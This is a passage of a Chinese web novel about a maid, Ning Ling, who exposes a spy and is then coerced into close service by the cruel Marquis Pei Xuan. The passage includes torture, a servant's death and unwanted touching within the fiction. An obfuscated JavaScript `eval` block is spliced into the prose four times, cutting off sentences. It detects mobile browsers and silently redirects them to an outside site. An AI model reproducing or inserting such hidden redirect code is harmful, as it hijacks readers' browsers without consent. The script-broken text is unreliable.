“你倒是心思缜密。”裴铉低头看了眼她藏绿色地衣裙,又瞧瞧秋月一身藕粉色的衣袍。 “侯爷缪赞了。”说出这番话后,宁泠不知道后面会发生什么,或许会与暗探扯上关系难逃一死。其实闭口不言才是她最好的选择,明哲保身。 可她接受不了秋月被蒙在鼓里,白白替他人送死。 “今夜你穿的这身衣裳可是精心挑选吧。”裴铉又嘲笑道,“那个蠢货半夜出逃,还敢穿亮眼的藕粉色。” 竟还带根银簪,生怕谁发现不了她。 不似藏绿色颜色暗沉,黑夜里一点都不显。 站在花草树木旁几乎微不可查,连林韦德这个暗卫好手都被她糊弄过去。 若不是她那点心跳气息没有藏匿好,今夜还真让她浑水摸鱼了。 林韦德很快就将张远拎了过来,秋月瞳孔猛地扩大。 争晖院里落针可闻,大家都屏住呼吸。 张远被抓来后,负责给秋月行刑的人也不知晓主子是否会饶她一命,都默契地放轻放缓。 “是他?”裴铉问道。 宁泠紧紧盯着张远的后背,与那夜想要中的背影重合,但这个信息太模糊了。 “侯爷可否让他开口说几句,奴婢记得他的声音。”宁泠只好另辟蹊径。 裴铉一个眼神示意,林韦德直接一个硕大有力的拳头揍在张远身上。 张远先是惨叫几声,可还是继续在挨打,终于忍不住求饶:“不知属下张远那里做错了,请求侯爷明示。” 他明显打算蒙混过关,但宁泠不给他机会坚定道:“就是他!那封信就是他给秋月的,他还嘱咐秋月每日留意侯爷的动静。” 张远被凑的口吐鲜血,恶狠狠地盯着宁泠,发现并不认识他后,又转头盯着秋月。 肯定是秋月扛不住刑罚,将他出卖了。 今夜他正要出发时就感觉到了不对劲,立马想了个法子,他字迹潦草地写了一封信,信里说让老周帮忙买个烧鸡送去东南角门,也言明他自己有事不能去,又不愿意背信违诺。 偏偏不留下真实姓名,信封上还压着丰厚的银子。 老周本就忠厚老实,平时也爱帮忙跑跑腿,如今还有丰厚酬劳,那里会不答应。 本以为天衣无缝,那知道被秋月这个臭娘们抖了出来。 亏他平时对她那么大方,她之前还信誓旦旦说就算被抓了也绝不供出他。 秋月无助地摇摇头,想要辩解,奈何嘴里被人堵住。 眼见事情败露,张远索性也彻底不装了:“贱女人,把我出卖了还不满意?还要找证人来洗白自己。” 裴铉见有热闹戏可看,示意林韦德将秋月嘴里的麻布摘了。 终于能说话的秋月,喘着气解释:“不是我说的,是她发现了我们。” 说道宁泠,秋月哀怨地看了一眼:“谁让你多管闲事的?” 宁泠指着信封说道:“你知道这信上写得是什么吗?” 对上秋月迷茫的眼神,她继续:“上面全是侯爷接触的人,出卖主子行踪。你觉得你一死就可以百了?你的家人呢?” 秋月满脸不可置信地盯着张远,回想着张远的叮嘱,那里还有什么不明白。 “你不实诚。”裴铉偏偏头对视宁泠,“你刚说你不认字。” 宁泠无语凝噎,她说的不认字只是复杂些的不认识,不是一个字都不认识。 半响后她尴尬说道:“简单的姓氏,奴婢还是认识。” 可裴铉继续不依不饶:“那你早知晓他图谋不轨,为何不上报?” 宁泠内心暗骂,装什么装,裴铉他们早就知道秋月不对劲了,不然为何人前脚刚出门,后脚就人赃并获了。 她辩解:“刚才见了信封,细想了许久才想通缘由。奴婢愚笨,不似主子聪慧。” 她这番解释勉强算是有理,之前认为别人郎情妾意,不愿多管闲事罢了。但裴铉知道这小丫鬟估计早就猜到了,偏偏最后看秋月受刑于心不忍才说。 “不过好心没好报,你瞧别人可不记你情。”裴铉凉丝丝的声音传来。 宁泠努力让自己装出一副忠心的样子:“奴婢是想为主子排忧解难。” 裴铉挑眉勾唇手指张远:“将他查清楚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836534|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是”林韦德和两个亲卫押着张远下去。 宁泠紧张地看了眼依旧在受刑秋月,眼眸如一汪清泉,水灵灵地望着裴铉。 犹如小狗乞食的模样,湿漉漉的眼神可怜极了。 裴铉心情大好:“我刚才可没答应你饶她。” 宁泠嗫嚅想要还嘴,可又不知说些什么才好。 她沮丧地低下头,怪自己犹豫不决。若刚开始就坦诚些开诚公布地说清楚,说不定就能保下秋月的性命。或是继续像之前装傻守好秘密,不至于像现在,既没有救下秋月,将自己也牵连进去。 天鹅的脖颈低垂,夜色淡黄的光晕打在她白皙的皮肤。 “秋月死罪可逃,活罪难免。王柏将她发卖了吧。”裴铉命令道。 宁泠心头刚松一口气,欣喜抬头正要感谢。却见裴铉抬抬薄薄地眼皮,正饶有兴趣地盯着她。 她又猛地如坠深渊,头皮发麻不敢动弹。 “我身边正好缺个贴身侍女,你既如此伶俐,就来将功补过。”裴铉的声音很好听,如动人的音律。 可在宁泠听来却像恶鬼索命,她推辞道:“奴婢只是个洒扫的小丫鬟,平日里粗鲁无礼惯了,恐会怠慢了侯爷。” 瞧着裴铉身穿的衣料便是极其华丽昂贵,常常笑着一张俊脸,内心阴狠算计。 宁泠实在不愿意在他眼皮子地下呆着,不知自己那日就小命不保了。 裴铉似笑非笑地睨了她一眼:“那多简单,怠慢了就用命来偿。” 这句话堵死了宁泠的嘴,以后徐徐图之,说不定还有机会,若是继续推辞下去,估计今日就能去见阎王爷了。 王柏偷偷觑了宁泠一眼,身形单薄,容貌清美,虽算不上倾城倾国,遗世独立的大美人,也独有风姿。 难怪侯爷瞧上了她。王柏一边想着,一边命人拖走秋月。 秋月被杖责了这么久,身上已是受了重伤。 受了这么重的皮外伤的人,最是容易夜里高烧昏厥,哪怕现在捡走一条小命,又有什么用? 宁泠自然也想到了这些,她摸了摸自己荷包里藏着的银子。 略为盘算后,从自己朴素的荷包里取出一两银子递给秋月。 秋月所有的银子和值钱的首饰都被仔细搜查一番,现在是身无分文,又即将被发卖出去。 银子被宁泠塞到秋月手上时,她后悔愧疚道:“我不安好心,你竟还这般待我?” 宁泠没有说话,若是秋月没有送她鞋袜,她可以心安理得地冷眼旁观。 可是她既无缘无故地承了她的情,也救了她的小命,何不好事做到底? 有了这一两银子,秋月至少可以请人熬药,有一份生的希望,其余得她也管不了了。 裴铉身量欣长,居高临下地瞧着宁泠起身后的动作,自然轻松地瞧见了她揭开荷包时,里面空空荡荡,所剩无几的银子。 裴铉阴阳怪气:“不成想今日还遇见个活菩萨,乐善好施。” 刚才秋月说她不安好心,他也听见了。 “奴婢身为侯爷的贴身侍女,一言一行都代表主子。侯爷心善,咱们下人感激不尽。”宁泠尽量语气恭敬,不惹怒他。 一两银子对裴铉来说不值一提,可对个小丫鬟来说却是价值不菲。 他眼见地瞥见她荷包内还有余钱,即然晚上偷偷摸摸出来找点吃食。 何故携带大量钱财,他心里明了:“平白无故带这么多钱财干甚?你不会也想逃跑?” 5. 第 5 章 宁泠被他一语击中,强作笑颜道:“奴婢不敢,只是自小贫穷惯了。唯恐丢失,所以时时携带才心安些。” 又是满嘴谎言,即自小穷困,还大方给那秋月银子? 裴铉懒得再与她多费口舌,对站着的侍女道:“紫叶收拾收拾,本候要歇息了。” 王柏马上识时务地命人拖着秋月离开。 宁泠一个人孤零零地伫立在院内,不知所措。 刚才裴铉让她以后做贴身侍女,那她现在是应该跟着进屋,还是先回下方,明日再来报道? 她尚未思考清楚,拿到慵懒的声音响起:“宁泠,怎么还真想跑?” 此话吓得宁泠面色一白,只得应道:“不敢。” 随即跟着进了争晖院的内室。 争晖院的内室装饰精贵,每样物件都价值不菲,精心挑选。 一排小丫鬟鱼贯而出,有捧着水盆的,有捧着毛巾的。 宁泠特意找了个不显眼的小角落,看着紫叶熟练地带着小丫鬟铺床伺候熟悉。 前儿听说裴铉的另一个贴身侍女被他活生生打死,不知其中是否有何隐情? 是像今日一样,偷偷透露他的行踪引得他震怒,还是单纯那里不合他的心意? 毕竟恶魔杀人,可不需要借口。 她一双水波潋滟的眼眸转来转去,娇俏的脸色,满是沉思。 连裴铉何时到了她的身边都不知晓,只忽然感觉耳畔传来一阵热气喷洒:“可要用心好好学,不然丢了小命,可没地说理去。” 宁泠急忙拉开两人之间的距离,脆生生地答是。 等感觉到裴铉的脚步离开后,才抬起清澈的眼眸。 面前人正是紫叶,紫叶是个不折不扣的美人,身材丰满,婀娜多姿。 “今夜你也累了,先回去休息吧,明日来学也不迟。”她对着宁泠说道。 宁泠点点头,紫叶就让小丫鬟带着她到了争晖院的下房。 这间下房应该是被处死的上位侍女居住过,里面被人打扫过很是干净。 贴心的紫叶还让人送来了起居所用之物,精神持续紧绷的宁泠终于稍稍松懈了。 简单洗漱后,她抱着被子昏昏沉沉地睡去。 翌日一早,宁泠就醒了,梳洗整理一番后去找紫叶。 紫叶打量着面前的宁泠,一双灵动的眼眸,长如羽扇的睫毛,唇红齿白的美人。 “你伺候侯爷的时候要小心,莫要粗枝大叶惹恼了他。”她叮嘱道。 此时的裴铉已是外出上值了,宁泠有心打探些消息。 她笑吟吟答道:“姐姐教导的是,不知侯爷身边有几个侍女伺候?” 紫叶的脸色倏地沉了下来,但还是开口回答:“以前只余我一人,如今你来了。” 余?那之前的人呢? 宁泠面带惶恐地接着问道:“前儿听说侯爷打死了个侍女,不知……” 她的话还没说完,紫叶就快速打断说道:“不该打听的事,就不要去触霉头。” “是,姐姐教训的是。” 眼见紫叶是个嘴牢的,宁泠也不再讨人嫌地继续追问。 有紫叶带着熟悉规矩,半月下来宁泠很快就适应了争晖院的生活。 似紫叶那般谨慎小心的人是少数,念儿与禧福正是活泼爱动的年纪。 两人话多热情,待与宁泠熟络之后常常与她闲聊。 夜里漆黑一片,唯独争晖院的书房还点着烛火。 明亮的烛火下,裴铉身着湛清色常服伏在书案上处理公务。 不知不觉夜色愈发墨黑,如同浓墨渲染。 伺候在旁的宁泠朝着窗户瞥了眼天色,无奈地磨墨。 她暗暗低叹一口气,不知何时裴铉才吹灯歇息。 刚处理完一堆繁杂事务的裴铉抬起头,看着面前磨墨走神的宁泠。 她白皙的肌肤染了一层朦胧的红晕,睫羽扑闪如振翅的蝴蝶。 他修长如玉的手指搁下珍贵的狼毫,端起一旁的温茶润了润嗓子。 “听说你之前打探我上个贴身侍女的死因。”他语气平淡地问道。 宁泠诧异地抬头,不知裴铉从何听到了这个消息,也不知他怎得突然问起。 她找补道:“是怕似她一般,犯了侯爷忌讳才问的。” 一番话带着点阿谀奉承,又悄无声息地打探她到底犯了什么事情。 女子的声音清脆动人,令裴铉的疲惫都稍稍减轻。 他似是闲聊:“也不是什么大忌讳,就是背主而已。” 他锋利的眼神又盯了眼宁泠,尤其在着重背主二字时。 平心而论裴铉容貌昳丽俊美,气度斐然。 但太过明艳的美往往带着极大的攻击力,宁泠是怕他的,更怕他手里无所不能的权势。 她只能当即表示忠心:“奴婢是万万不敢背主。” 裴铉随手捡起放在书案上果盘的一颗青梅,迎着烛火注视:“当逃奴就是背主。” 宁泠知道了,他这是借着问话敲打自己。 宁泠还未张嘴证明清白,他又说道:“你知道那张远怎样了?” 宁泠不知裴铉好端端地与她讨论这些事情干什么,是继续的敲打? 她顺着话题往下:“可是林大人审问有了结果?” 林韦德是有官职在身的,不是寻常的侍卫。这些事情还是念儿和禧福告诉她的。 “啧,那可是个硬骨头。”裴铉又接着道,“手脚筋都断了还不肯说实话。” 随着他的描述,宁泠的脑海里自动浮现那副流血残忍的画面。 她面上的红晕褪下,唇色苍白:“他窥探主子行踪,罪有应得。” 裴铉赞同地颔首:“他脑子倒是灵活,发现事情不对劲,立刻找了别人背锅,那知道还是被你逮住了。” “倒是可惜了那个秋月。”他虽嘴里说着可惜,面上却无一点惋惜。 甚至那双幽深的眼眸还带着点兴趣观察宁泠。 宁泠心里顿时浮现出阵阵不妙,沉默半晌后还是忍不住问道:“秋月怎么了?” “死了。”裴铉淡淡的两个字,一条命在他言语里并不能带起半点波澜。 其实宁泠心里清楚,秋月伤口又流了那么血,必然凶多吉少。而且又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836535|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被发卖出去。但她知道王府这种高门大户,发卖也是找正经的人牙子,不会卖到那处脏地方。 她亦不愿意相信人会那么容易就死了?而且秋月年轻身体好恢复能力强,自己又给她留了银子。 她神情呆滞,嗓子艰难发问:“怎么死的?” 她这副模样似乎极大地取悦了裴铉,他坦然回答:“听说拖回去第一晚就发高烧退不下,没几日人就去了。” 宁泠脑子乱哄哄地,忍不住追问道:“不是给了她银子吗?” 怎么没有请人熬一副退烧药呢? 裴铉轻蔑地笑了笑,似是嘲笑宁泠的愚蠢:“她竟然敢背主逃跑,你以为府上除了你这个活菩萨,还有谁敢管她?” 宁泠傻傻愣在原地没有说话,鼻头一酸,眼眶里不断涌上泪花。 她不知道是该可怜秋月,还是该嘲笑自己蠢,不知天高地厚。 她情绪失控地瞪了眼裴铉,一个毫无人性的刽子手。 又缓过神惊慌失措地低下头,祈祷他刚才没有看清她脸上的表情。 他分明知晓秋月只是被骗,根本不是府上的奸细。当时也答应饶秋月一命,却让她抱着活的希望绝望死去。 若是旁人敢恶狠狠地瞪裴铉一眼,他必要亲手拿着刀剜下那双眼眸。可眼前美人眼尾嫣红,眼眸饱含泪花,倔强地轻咬粉嫩的嘴唇。 刚才虽然是瞪他,但更多的是无限风情,美人嗔怒。 他伸出骨肉匀称的手,拇指和食指并拢,捏了捏她鼓气的柔软脸颊。 肌肤如同刚出生的婴儿一般柔滑,他大拇指的玉韘冰冷的触感,唤回了浑身僵硬的宁泠。 她条件反射地抽身而退,将手里的砚台打翻在地,也染黑衣裙。 裴铉却并不在意,反而轻笑一声:“躲什么?” 里面的动静引得门外守卫的林韦德探头望来,弄清楚发生了什么后,又两眼放空地继续守卫。 宁泠平复内心的山摇地动,匆匆找了个借口:“奴婢污了衣裙先退下了。” 接着她也没空管裴铉是否答应,就火急火燎,生怕背后有恶鬼索命地小跑离开。 她经过林韦德时,惹得他忍不住多瞧了两眼。 她的背影刚擦身而过时,一颗青梅便带着破空声直奔而来,逼得他立刻收回视线,手脚麻利地接住来物。 “赏你了。”裴铉歪了歪头,嘴边带着惯常的笑意。 可林韦德知道自己惹了主子不悦,他拿起青梅咬了一口,咔嚓响亮一声。 书房内似乎都晕绕着一股醒神的清香,裴铉继续提笔:“好吃吗?” 林韦德苦着一张脸摇摇头,将嘴里的酸青梅拼命咽下去后回答:“太酸了。” 回到屋子的宁泠用冷水拍拍自己的脸蛋,才回神喃喃道:“他刚才竟然摸了我的脸。” 这让她感到不安,男女大防,按理说不应该有这种接触才对。 宁泠在屋内焦急地转转圈,这么久以来她和裴铉一直相安无事。 但今日他动作如此亲昵,莫不是想要她做他的通房? 不行,她得想想办法不能继续下去。 6. 第 6 章 当夜,宁泠带着胡思乱想睡去。 连带着后面的日子,宁泠都情绪低落,她有意避开裴铉。 一日下值,裴铉看着眼前伺候的紫叶问道:“她人呢?” 紫叶答:“应该正在屋里。” 一连几天都不见人影,裴铉笑着道:“咱们侯府当差可真是清闲。” 紫叶默了默,接着头也不敢抬地答道:“奴婢这就去唤她来。” 被紫叶通知的时候,宁泠拿着一本词典,学习着认字。 紫叶:“侯爷让你前去伺候。” 宁泠还真没想到裴铉会点名道姓地用她,看来装死是不行了。 她只好无奈点点头,紫叶瞥了她一眼似是有话要说。 宁泠刚走几步,她还是开口道:“侯爷吃软不吃硬,你莫要惹恼他。” 平日里紫叶是沉默寡言的,但她心细善于观察。 宁泠忍不住反问道:“侯爷他对我是不是……” 紫叶伺候裴铉的时间最长,应该比较了解他的脾性。 那夜到底只是巧恰为之,还是图谋不轨,或许紫叶知道。 可惜她话还没说完,紫叶就仓促打断道:“别让侯爷久等。” 宁泠点点离开,她轻手轻脚地走进裴铉的内室。 内室布置雅致,虽未见什么华丽装饰,可样样件件都透露着低调的奢华。 裴铉刚回来身上还穿着官服,一身紫色仙鹤图案的官袍,带着上位者的压迫。 “还知道过来?”他嘴角轻微上扬。 他常常都是笑着的,也让人摸不清他的心情到底怎么样。 宁泠摸不清他的脾性,不敢随意回答。 只好状似恭敬地为他递上干净的锦帕,以往紫叶伺候时就是这样做的。 可裴铉却没有接过锦帕,而是居高临下地扫视宁泠一眼:“还不会伺候人?” 里面的威胁不言而喻,宁泠只好踮起脚尖准备为他擦脸。 裴铉的身高极高,她垫垫脚尖费力往上,也只能轻轻擦到他的下巴。 刚好有了借口推脱,她杏眼扑闪,语气无奈:“侯爷太高了,奴婢够不着。” 那知裴铉依言就直接坐在身旁的紫檀木刻游鱼纹的座椅上,一双长腿懒洋洋地摆放,让她将后头那句烦请侯爷自己动手咽了回去。 宁泠只有以前给村里小孩童擦脸的经验,只能按照记忆的方式轻轻擦脸。 她力道极轻,帕子带着点温热。 因着专心注意,她的脸离裴铉脸也极近。 裴铉能够闻见她身上带着一股橘子的清香:“今日吃了橘子?” 宁泠不知道他如此发问,摇摇头道:“未曾。” 橘子的清香带着点微甜,夏日里沁人心脾,十分清新。 随着她摇头的动作,她头上垂落的青色丝绦从裴铉手背扫过。 一丝丝痒意升起,宁泠丝毫没有察觉,眉眼专注地拿着锦帕一点点擦拭。 哪怕隔着锦帕,裴铉也能够感觉到她柔软的指腹,拿着一点点体温。 那丝痒意似乎在身体内乱转,他忽然在宁泠毫无防备地时候倏地睁眼。 四目相对,宁泠对上那双晦暗危险的眼眸。 她赶紧退后一步低头,裴铉瞧见她这样,心里不知为何带着点恼怒:“你怕我?躲我?” 宁泠迟疑地点点头,这府里谁不怕他? 他睨着那道纤细脆弱的脖颈,他的手只要稍稍用力就能够轻易折断。 宁泠虽是低着头,却能感受到一股道不明的危险气息萦绕四周。 她忽然想起之前紫叶的话,乌黑的眼珠转动,脑海里想着应对之法。 她撇见木桌上摆放的果盘,带着笑意说道:“夏日炎炎,侯爷要吃点葡萄吗?” 接着她顺势走至品种丰盛,颜色各异的果盘周围,纤白的素手欲要为裴铉剥葡萄。 裴铉被她说的话吸引了注意力,看着果盘轻笑一声。 声音不加掩饰地带着笑意,宁泠愈发觉得她性格古怪,莫名其妙。 裴铉出声打断宁泠的动作:“不用剥了。” 对上宁泠迷惑如同小鹿般单纯的眼眸,他拿起一颗青梅递至宁泠唇畔:“尝尝。” 宁泠下意识地想逃跑,但裴铉那双宽大的手如铁钳死死牵制住她。 “又想跑哪儿去?”他的心情莫名好了许多。 宁泠别无他法,被他有力的大手控制住肩膀,她望了望眼前的青梅,只能檀口轻开。 青梅颜色绿油油的,表面富有光泽,隐隐约约有股清香味,果核早已被人用刀一点点雕刻出去。 她侧头小咬了一口,柔软的唇肉与略有薄茧的指腹接触,裴铉心里那股痒意又被勾了起来。 入口酸涩,霸道的酸味在口腔中弥漫开,宁泠的杏眸微眯,她眉头紧蹙想要吐出来。 裴铉嘴角上扬的幅度加大,他心情愉悦地命令道:“不准吐出来。” 宁泠只能强忍住酸意吞咽,眼眸都被刺激出泪花。 偏偏裴铉作恶的心思还没停,依旧将哪颗青梅捏在指腹。 宁泠抬起笼着水雾的眼眸,浓密的睫毛轻闪,她泛着光波的眼睛对视裴铉。 裴铉按在她单薄肩膀上的手劲道稍收,沉思无声地盯着她。 一种炙热的眼光,守在门边的林韦德小心翼翼地退了出去。 宁泠率先感觉不对劲,她刚想找借口离开。 裴铉又将手上的青梅递过来,他语气带笑:“还想跑?” 洞察人心,万事尽在掌握中。 宁泠肩膀浑身被他按住,不得动弹。只能轻微摇摇头:“没有。” 裴铉没有再回话,只要又凑近了青梅与她红唇的间隙。 宁泠只能硬着头皮继续吃,酸意的积累,让她鼻头一酸。 偏偏裴铉仍不满意,一颗喂完,又从果盘里挑拣了一颗。 颜色比之前更绿,果形偏小,似是未完全成熟。 偏偏他还一脸认真说道:“这颗肯定好吃,尝尝。” 宁泠的牙龈似乎都在发酸,条件反射地吞咽。 裴铉锲而不舍,眉目张扬:“我手都举累了。” 她拖延的方法并不奏效,只得认命低头咬下。 她的美本就自带温柔,低眉顺眼极乖。 裴铉看着随风而动的绿色丝绦,手心发痒。 毛茸茸的脑袋搭配绿色的发带,可爱又乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836536|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧。 宁泠吸取了上次的经验,快速地吃完这颗青梅。她感觉自己腮帮子都僵硬了。 她心存希望,裴铉能够适可而止。 可又转眸看见他骨节分明的手,又在果盘里挑挑拣拣。 她认命地闭上眼睛,俏丽精致的容颜,紧闭的眼眸,似蝴蝶轻颤的睫羽,朱红的唇还带光泽。 夏季的晚风吹来,带着青梅的清香,隐隐约约的酸意在夏日里清新动人。 裴铉喉结滚动,两人之间的间隙缓慢靠近,衣裙隐隐约约交缠,他有些想尝尝这青梅,真有那么酸? 外面的知了不识趣地聒噪,吵闹的声音萦绕在他耳畔,以前他怎么没发现夏日里的蝉鸣如此讨厌? 并没有等来熟悉的青梅,宁泠迷惑地睁开眼眸。 难不成裴铉大发好心?刚好对上他不耐烦的眼瞳。 裴铉瞥了窗户吩咐道:“将外面的知了都打下来。” 接着就传来紫叶熟悉的是。 “刚才的青梅好吃吗?”裴铉大发慈悲地收回紧紧禁锢她的手。 宁泠想了想还是如实回答:“挺酸的。” 裴铉拿起旁边随时准备的锦帕,一根一根擦着手指,十分体贴笑道:“那可委屈你了。” 笑容带点阴恻恻,平白无故为何非要她吃酸梅。 宁泠不是一点脑子都没,脸上的面容都酸地僵硬,还是带着笑意道:“这几日没有伺候好侯爷,是奴婢的过错,以后定不会再犯了。” 他明显带了惩罚的意味,现在她无权无势,身为奴婢在他手下讨生活,只得卑躬屈膝,小心翼翼地哄主子开心。 哪里又有什么尊严可言呢? 她像是被豢养的宠物鸟,逗弄喂食博主子一笑? 思及此宁泠心绪低落,低垂着脑袋,眉间笼罩着忧愁。 听到她主动认错裴铉自然心情愉悦,几日闷在心头的郁气都消散了些。 他嘴角噙着笑意,视线落在宁泠面上。 轻而易举又发现了她的垂头丧气,嗓音带着质问:“你这是给我甩脸子?” 她才说了两句软话,就又似个木头人杵在这里。 宁泠委屈地抬起头辩解:“是那青梅太酸了。” 空气弥漫着残留的酸涩味道,炎炎夏日里,抚慰了似炭火炙烤的心。 她态度恭敬,说完后久久未听见他回话,似是不安地抬头望了眼。 被青梅酸涩刺激而出的泪花在眼眸里打转,一双大大圆润的眼眸,似是路边乞食的小奶狗湿漉漉、可怜无助地望着。 见他面色专注地打量自己,宁泠浑身上下都很是不自在。 她有意错开他如猎豹捕食的强势视线,微微侧移脸蛋。 “听闻女子都爱簪妆之物。”他瞥了瞥她头上的绿色丝绦,对着门外的林韦德高声道:“去拿我的对牌,挑些首饰赏赐给她。” 林韦德闷闷的声音传来,伴随着他离去的脚步声。 前一秒他还阴恻恻地质问,下一秒就拿东西赏赐于她,真是阴晴难定。 但宁泠还是老老实实答谢:“多谢侯爷。” 那人却俯下身子,两人气息交织,他的声音里带笑问道:“可满意了?” 7. 第 7 章 宁泠不满意,她狼狈地被他逼着吃下不喜的食物,没有一点反抗的权利。而她被酸涩刺激的滑稽模样,显然让主子认为有趣,引得他心情舒畅。 她像是个被人任意逗弄取笑的小丑,没人在意她的想法意愿。 他大恩大德地挥手赐下东西,她连拒绝的权利都没有。 宁泠只得强颜欢笑感谢主子的赏赐。 她退出主院,刚回到她自己居住的下方。 宁泠愣愣地坐在自己床榻,心里不知是该笑还是该恼怒。 恼怒用自己去取悦他人,还是该笑终于有了点积蓄。 思及此,门外就适时地响起门敲门声,接着是林韦德粗犷的嗓音:“宁姑娘,我来给你送首饰。” 宁泠立马整理好情绪,起身开门。 林韦德有意地保持着一段距离,他手上拿着个红漆木木盒,盒子不算大。 见她开门出来,他将木盒递上:“宁姑娘,主子给你的赏赐。” 宁泠道谢后接下,林韦德偷偷飘了眼她,将东西交接完后。 离开时他忍不住摸摸自己的脸颊,回忆起了那天差点酸掉牙,强壮的身形微颤。 他又回头盯了眼红漆木盒子,也不知侯爷是怎么想的?把人弄委屈了,又巴巴来哄? 等人走后,宁泠打开了木盒,里面的首饰有三件。 一支梅花白玉簪,一只银雕缠枝纹镯子,一对珍珠镶嵌耳坠。 都是符合她作为奴婢身份佩戴的东西,无甚出挑。 听说她得了赏赐,争晖院不少小丫鬟都很是吃惊。 侯爷性情暴戾,阴晴不定。日日不发火不惩罚人都是上天有好生之德了,宁泠才来了多久,竟然得了赏赐。 人人都有看热闹的心思,但都与宁泠不太熟悉。 念儿性格活泼,得了消息早早跑了过来。 宁泠并没有佩戴任何首饰,念儿来了后活蹦乱跳:“宁泠你可真厉害,一来就做了侯爷的贴身侍女。” 侯爷的贴身侍女在府里谁不卖她个面子?多威风啊。 宁泠苦笑:“你努努力也可以。” 日日担惊受怕,最怕挣了银子没命花。 念儿调皮地吐了吐舌头:“我可不行,我看见侯爷就双腿发抖,哪有那个福气。” 她小心翼翼抚摸着首饰,虽然都是不甚出挑的款式,但是样样都是好材料制成的。 外面若是想有这样的成色,那可得大出血。 那对珍珠耳坠小巧精致,念儿很是喜欢。臭美的用手捏着,对着妆台一遍遍比划。 “赶明儿,我也托人给我买副。”她放下耳坠道。 宁泠听到买这个字,神色动了动,接着心动道:“你若是喜欢,我这副也可以卖给你。” 毕竟她拿着也是无用之物,换成银两,还能以后方便使用。 念儿吃惊地看着她,语气激动:“真的吗?” 她或是能有这宝贝,哪里舍得卖出去。 宁泠笑着点点头:“我也不爱带这些东西。” 丫鬟私底下交换买卖物料,很是正常。她神色紧张地问道:“那要多少银子?” 宁泠并不太懂首饰,也不太清楚这个的物价。想到念儿爽朗的性格,她信任道:“你出价就是了,我还能对你狮子大张口。” 念儿想了想后说道:“我出三两银子怎么样?” 这下轮到宁泠吃惊了,如今她是裴铉的贴身侍女,府里的一等大丫鬟,一个月三两银子。 可念儿只是二等丫鬟,三两银子要足足攒两个多月。 “太多了。”宁泠摇摇头。 念儿笑嘻嘻道:“我这还是占了你便宜呢,我爹娘都是府里的老人,也是见过好东西的。” 珍珠在光线下泛着柔和的光泽,颗颗圆润,大小均匀相等。 念儿喜欢的很,不听宁泠说什么。回下房拿了银子就急匆匆换了耳坠。 刚把银子一把塞进宁泠怀里,就怕她反悔似的。迫不及待地对着妆台带上,接着臭美地出门炫耀了。 宁泠站在屋里,看着外面叽叽喳喳的念儿,哭笑不得,随即将其他两件收拾好。 紫叶也在外面听闻了,她与宁泠两人隔着木窗,隔窗相望。 紫叶面色复杂地盯了眼宁泠,似是有话要说。宁泠眼眸迷茫地望了眼她。 刚想出去询问一番,紫叶又径直离开了。 等到了闷热的下午,裴铉下值后,宁泠只得哀叹一声。 闷热的苦夏,外面的树木郁郁葱葱,炙热太阳悬挂上空,裴铉却是一脸疲惫。 她和紫叶两人分开站好,待裴铉刚进房门,就手脚麻利地递上干净的手帕,擦脸洗手等等。 房屋里四角处都放着冰森,丝丝缕缕的凉气浸湿空气,忙碌完这些宁泠内心轻轻松了一口气。 接下来大概就是裴铉自己换身常服,她也可以缓缓。 紫叶依旧在那尽心尽责地准备衣服等等,宁泠敷衍地打打下手。 裴铉狭长眼眸覷了眼宁泠,他眉头微锁。 室内好不容易稍稍松快的氛围,此刻又马上紧绷。 宁泠眉目低敛精神专注地做事,生怕不经意间又得罪了他。 “宁泠来伺候我更衣。”他的目光更加明显地盯在她身上。 宁泠只得硬着头皮回答是。 跟随他进了内室,宁泠心绪不宁,总觉得他哪里不对劲,又不敢冒然开口,怕惹怒了他。 他高大挺拔的身形向下投射出阴影,笼罩着宁泠纤细的身躯。 宁泠之前是瞧过紫叶如何伺候的,但还未曾亲自动手试过。 做工精细的玉带扣衬得他宽背窄腰,流利的肌肉线条似是等待捕食伺机而动的猎豹。 近距离的气息交融,带来深深的压迫感。 今日的玉带扣是宁泠以往未曾见过的,精巧绝伦的做工,她无措地上下摸索着关键处。 她的掌心柔软,似是自由游荡的鱼儿,在他腰间胡作非为。 宁泠急迫地想要解开玉带扣,奈何未能寻到秘诀。她靠得越发接近,整个人都投入裴铉的怀里。 纤纤玉指四处游走,站在原处的裴铉嘴角上扬,狭长多情的桃花眼居高临下地盯着她。 “还没解开?”他的嗓音暗沉,带点沙哑。 宁泠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 